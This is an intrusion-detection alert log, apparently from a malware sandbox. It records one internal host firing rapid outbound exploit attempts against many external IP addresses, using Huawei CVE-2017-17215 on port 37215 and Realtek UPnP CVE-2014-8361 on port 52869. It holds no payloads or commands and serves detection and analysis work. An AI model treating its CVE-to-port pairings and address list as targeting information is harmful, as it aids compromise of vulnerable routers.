Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.146.102.184

Timestamp:	07/20/24-23:01:02.440694
SID:	2835222
Source Port:	33668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 198.253.51.117

Timestamp:	07/20/24-23:01:33.655350
SID:	2025132
Source Port:	42590
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 190.210.219.152

Timestamp:	07/20/24-23:01:23.038662
SID:	2027339
Source Port:	60336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.21.214

Timestamp:	07/20/24-23:01:19.231228
SID:	2835222
Source Port:	45324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.109.42.214

Timestamp:	07/20/24-23:01:14.405098
SID:	2829579
Source Port:	55130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 222.112.36.27

Timestamp:	07/20/24-23:01:07.666600
SID:	2829579
Source Port:	53446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 133.211.191.92

Timestamp:	07/20/24-23:01:34.952293
SID:	2027339
Source Port:	33642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 175.136.209.167

Timestamp:	07/20/24-23:01:05.892501
SID:	2835222
Source Port:	47282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 9.55.208.82

Timestamp:	07/20/24-23:01:34.907114
SID:	2027339
Source Port:	33296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 194.223.113.142

Timestamp:	07/20/24-23:01:29.175082
SID:	2027339
Source Port:	42712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.211.130.216

Timestamp:	07/20/24-23:01:07.676921
SID:	2829579
Source Port:	58484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 90.112.65.145

Timestamp:	07/20/24-23:01:34.980138
SID:	2027339
Source Port:	59224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 191.75.82.97

Timestamp:	07/20/24-23:01:14.398311
SID:	2829579
Source Port:	56678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 14.9.177.37

Timestamp:	07/20/24-23:01:29.169426
SID:	2831300
Source Port:	51868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.132.5.231

Timestamp:	07/20/24-23:01:28.142774
SID:	2835222
Source Port:	44806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.139.78.105

Timestamp:	07/20/24-23:01:11.483526
SID:	2835222
Source Port:	41768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.217.163.116

Timestamp:	07/20/24-23:01:30.707836
SID:	2027339
Source Port:	55866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.183.27.248

Timestamp:	07/20/24-23:01:02.411662
SID:	2829579
Source Port:	34332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.112.88.160

Timestamp:	07/20/24-23:01:22.772933
SID:	2829579
Source Port:	39898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.60.225.59

Timestamp:	07/20/24-23:01:22.782671
SID:	2829579
Source Port:	48568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 183.162.94.65

Timestamp:	07/20/24-23:01:29.189808
SID:	2027339
Source Port:	52218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.7.80.153

Timestamp:	07/20/24-23:01:02.414850
SID:	2835222
Source Port:	44708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 97.182.119.204

Timestamp:	07/20/24-23:01:06.626517
SID:	2027339
Source Port:	59690
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.61.42.60

Timestamp:	07/20/24-23:01:33.038711
SID:	2829579
Source Port:	38034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 176.192.185.101

Timestamp:	07/20/24-23:01:33.069192
SID:	2835222
Source Port:	47668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 66.251.168.249

Timestamp:	07/20/24-23:01:24.713301
SID:	2025132
Source Port:	49406
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 115.13.49.74

Timestamp:	07/20/24-23:01:33.084068
SID:	2835222
Source Port:	58948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.201.136.184

Timestamp:	07/20/24-23:01:25.282254
SID:	2835222
Source Port:	54748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.72.60.44

Timestamp:	07/20/24-23:01:14.400300
SID:	2829579
Source Port:	55054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 40.122.199.14

Timestamp:	07/20/24-23:01:05.487437
SID:	2025132
Source Port:	54828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.145.89.132

Timestamp:	07/20/24-23:01:11.454417
SID:	2835222
Source Port:	39712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 125.128.116.127

Timestamp:	07/20/24-23:01:24.078416
SID:	2025132
Source Port:	42766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 217.244.72.189

Timestamp:	07/20/24-23:01:13.332260
SID:	2027339
Source Port:	49224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.54.91.179

Timestamp:	07/20/24-23:01:19.335313
SID:	2829579
Source Port:	35632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.244.63.43

Timestamp:	07/20/24-23:01:25.288605
SID:	2829579
Source Port:	46882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 162.57.74.72

Timestamp:	07/20/24-23:01:05.593053
SID:	2025132
Source Port:	35304
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 59.161.187.149

Timestamp:	07/20/24-23:01:23.042223
SID:	2027339
Source Port:	38476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 31.67.243.181

Timestamp:	07/20/24-23:01:25.281450
SID:	2835222
Source Port:	60678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 146.178.29.63

Timestamp:	07/20/24-23:01:05.533350
SID:	2027339
Source Port:	35510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.85.32.235

Timestamp:	07/20/24-23:01:33.043558
SID:	2829579
Source Port:	40182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.126.92.122

Timestamp:	07/20/24-23:01:37.199306
SID:	2829579
Source Port:	52026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.224.167.247

Timestamp:	07/20/24-23:01:25.281101
SID:	2829579
Source Port:	47066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 210.189.81.4

Timestamp:	07/20/24-23:01:29.541847
SID:	2027339
Source Port:	41856
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 70.231.21.112

Timestamp:	07/20/24-23:01:34.920034
SID:	2027339
Source Port:	35826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 81.96.77.48

Timestamp:	07/20/24-23:01:34.899868
SID:	2831300
Source Port:	56584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.195.213.197

Timestamp:	07/20/24-23:01:19.334827
SID:	2835222
Source Port:	40756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.151.23.250

Timestamp:	07/20/24-23:01:37.163818
SID:	2835222
Source Port:	60274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.114.237.10

Timestamp:	07/20/24-23:01:25.283565
SID:	2835222
Source Port:	46362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 189.27.2.190

Timestamp:	07/20/24-23:01:34.964842
SID:	2831300
Source Port:	35474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 209.180.225.131

Timestamp:	07/20/24-23:01:13.333328
SID:	2831300
Source Port:	55668
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.120.76

Timestamp:	07/20/24-23:01:37.214680
SID:	2835222
Source Port:	39654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.160.188.126

Timestamp:	07/20/24-23:01:02.411663
SID:	2835222
Source Port:	47626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.251.228.219

Timestamp:	07/20/24-23:01:14.397786
SID:	2835222
Source Port:	57088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.89.176

Timestamp:	07/20/24-23:01:33.047902
SID:	2829579
Source Port:	51178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 95.58.16.105

Timestamp:	07/20/24-23:01:32.121660
SID:	2025132
Source Port:	58198
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 71.221.176.212

Timestamp:	07/20/24-23:01:33.070886
SID:	2835222
Source Port:	50418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 164.158.91.189

Timestamp:	07/20/24-23:01:34.920034
SID:	2027339
Source Port:	52544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.226.92.193

Timestamp:	07/20/24-23:01:02.412965
SID:	2829579
Source Port:	43488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 171.71.112.103

Timestamp:	07/20/24-23:01:23.079615
SID:	2027339
Source Port:	44326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.138.54.130

Timestamp:	07/20/24-23:01:28.170987
SID:	2835222
Source Port:	52508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 58.199.141.7

Timestamp:	07/20/24-23:01:29.187581
SID:	2831300
Source Port:	47946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.224.167.247

Timestamp:	07/20/24-23:01:25.281101
SID:	2835222
Source Port:	47066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 102.213.194.254

Timestamp:	07/20/24-23:01:22.846232
SID:	2025132
Source Port:	55654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.74.123.142

Timestamp:	07/20/24-23:01:19.227537
SID:	2829579
Source Port:	33838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.55.49.211

Timestamp:	07/20/24-23:01:33.056745
SID:	2829579
Source Port:	47358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 126.63.129.65

Timestamp:	07/20/24-23:01:06.852960
SID:	2027339
Source Port:	46686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.77.31.163

Timestamp:	07/20/24-23:01:02.414137
SID:	2835222
Source Port:	57054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.90.150.101

Timestamp:	07/20/24-23:01:11.454991
SID:	2835222
Source Port:	45242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 186.138.141.187

Timestamp:	07/20/24-23:01:25.294838
SID:	2027339
Source Port:	60386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 145.169.160.7

Timestamp:	07/20/24-23:01:02.411662
SID:	2829579
Source Port:	59918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 87.188.195.240

Timestamp:	07/20/24-23:01:33.572374
SID:	2025132
Source Port:	52992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 42.203.55.38

Timestamp:	07/20/24-23:01:24.080444
SID:	2027339
Source Port:	44184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 37.157.73.197

Timestamp:	07/20/24-23:01:23.000602
SID:	2027339
Source Port:	41844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 86.27.131.229

Timestamp:	07/20/24-23:01:29.739552
SID:	2025132
Source Port:	58424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 59.155.45.17

Timestamp:	07/20/24-23:01:34.910407
SID:	2831300
Source Port:	41156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 181.129.237.7

Timestamp:	07/20/24-23:01:13.331420
SID:	2027339
Source Port:	46272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.106.121.122

Timestamp:	07/20/24-23:01:28.143994
SID:	2835222
Source Port:	42642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.155.48.39

Timestamp:	07/20/24-23:01:05.895934
SID:	2829579
Source Port:	33982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 13.188.216.17

Timestamp:	07/20/24-23:01:13.330329
SID:	2831300
Source Port:	47916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 100.194.218.244

Timestamp:	07/20/24-23:01:30.719960
SID:	2027339
Source Port:	50138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 158.56.98.102

Timestamp:	07/20/24-23:01:31.092418
SID:	2025132
Source Port:	40184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.162.133.146

Timestamp:	07/20/24-23:01:05.898280
SID:	2835222
Source Port:	47986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 200.159.126.71

Timestamp:	07/20/24-23:01:05.898214
SID:	2835222
Source Port:	48926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.23.188.13

Timestamp:	07/20/24-23:01:11.477507
SID:	2835222
Source Port:	55880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 190.144.135.107

Timestamp:	07/20/24-23:01:05.628737
SID:	2027339
Source Port:	47046
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 209.87.192.88

Timestamp:	07/20/24-23:01:06.599622
SID:	2027339
Source Port:	48578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 75.210.8.237

Timestamp:	07/20/24-23:01:33.030189
SID:	2829579
Source Port:	53760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.99.211.107

Timestamp:	07/20/24-23:01:07.682290
SID:	2835222
Source Port:	42318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 168.49.16.106

Timestamp:	07/20/24-23:01:34.929652
SID:	2027339
Source Port:	55658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 53.20.227.219

Timestamp:	07/20/24-23:01:31.312736
SID:	2025132
Source Port:	46358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.59.92.194

Timestamp:	07/20/24-23:01:02.410515
SID:	2835222
Source Port:	40600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.21.144.252

Timestamp:	07/20/24-23:01:07.680629
SID:	2829579
Source Port:	36036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 176.88.4.158

Timestamp:	07/20/24-23:01:37.160288
SID:	2829579
Source Port:	35018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.191.90.153

Timestamp:	07/20/24-23:01:37.122769
SID:	2829579
Source Port:	54894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.79.184.211

Timestamp:	07/20/24-23:01:25.283485
SID:	2829579
Source Port:	51298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.17.174

Timestamp:	07/20/24-23:01:02.411662
SID:	2829579
Source Port:	43890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 49.23.181.254

Timestamp:	07/20/24-23:01:25.291116
SID:	2829579
Source Port:	41702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 121.241.252.236

Timestamp:	07/20/24-23:01:13.329548
SID:	2831300
Source Port:	33402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 85.145.238.146

Timestamp:	07/20/24-23:01:29.677384
SID:	2027339
Source Port:	36664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.63.204

Timestamp:	07/20/24-23:01:37.227353
SID:	2829579
Source Port:	47282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.137.176.68

Timestamp:	07/20/24-23:01:39.711137
SID:	2835222
